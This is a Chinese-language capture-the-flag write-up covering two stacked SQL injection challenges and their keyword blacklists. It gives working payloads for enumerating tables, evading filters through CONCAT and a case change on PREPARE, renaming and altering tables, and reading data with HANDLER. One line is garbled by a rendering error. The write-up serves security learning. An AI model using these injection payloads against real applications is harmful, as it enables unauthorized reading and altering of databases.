[GYCTF2020]Blacklist&&[强网杯 2019]随便注

因为2020blacklist是2019随便注的升级版,所以借着这个机会归纳一下

先做个比较两道题的不同处,由此可见blacklist是随便注的升级版。

blacklist比随便注多过滤了set,prepare,rename,alter。

过滤prepare,set是避免pdo预处理绕过

过滤rename,alter是避免修改表名的情况出现

而blacklist和随便注还有一种方法是handler ,mysql除可使用select查询表中的数据,也可使用handler语句

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);//随便注过滤

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject); //blacklist过滤
根据上面的总结,其实我们就不用做blacklist,blacklist只是少了两种方法,而随便注则存在3种方法,所以我们可以通过强网杯的随便注举例子

注入类型:堆叠注入

题目名称: 2019强网杯随便注

方法演示:3种

1’;show databases; #堆叠注入查询所有数据库
1’;use supersqli; #选择supersqli这个数据库
1’;show tables; #查询supersqli数据库所有的表
1’;show columns from 1919810931114514;#查询1919810931114514表种字段
//////////////////////////////////////////////////////////////////
好的我们知道了flag在supersqli主句库的1919810931114514表中的flag字段里
预处理流程

SET; # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name; # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句
第一次构造

?inject=1’;set @sql=CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare flag from @sql;execute flag;
返回下面这句话

strstr(KaTeX parse error: Expected 'EOF', got '&' at position 16: inject, "set") &̲& strstr(inject, “prepare”)
set与prepare关键词被拦下,但是strstr函数我们可以用大小写绕过

第二次构造

?inject=1’;Set @sql=CONCAT(‘se’,‘lect * from 1919810931114514;’);PrePare flag from @sql;execute flag;
拿到flag

原题目查询的数据表为words

我们使用未过滤的alert 和 rename两个函数,先把 words 改为其他,再把1919810931114514改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就直接查询 flag

rename table words to test;
rename table 1919810931114514 to words;
alter table words change flag id varchar(100);
show columns from words;–+

ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);

1’ or ‘1’='1 #获取flag
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

语法结构:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT … ]

HANDLER tbl_name CLOSE
handler 1919810931114514 open;
handler 1919810931114514 read first;

payload:?inject=1’;handler 1919810931114514 open;handler 1919810931114514 read first;–+

你可能感兴趣的:([GYCTF2020]Blacklist&&[强网杯 2019]随便注)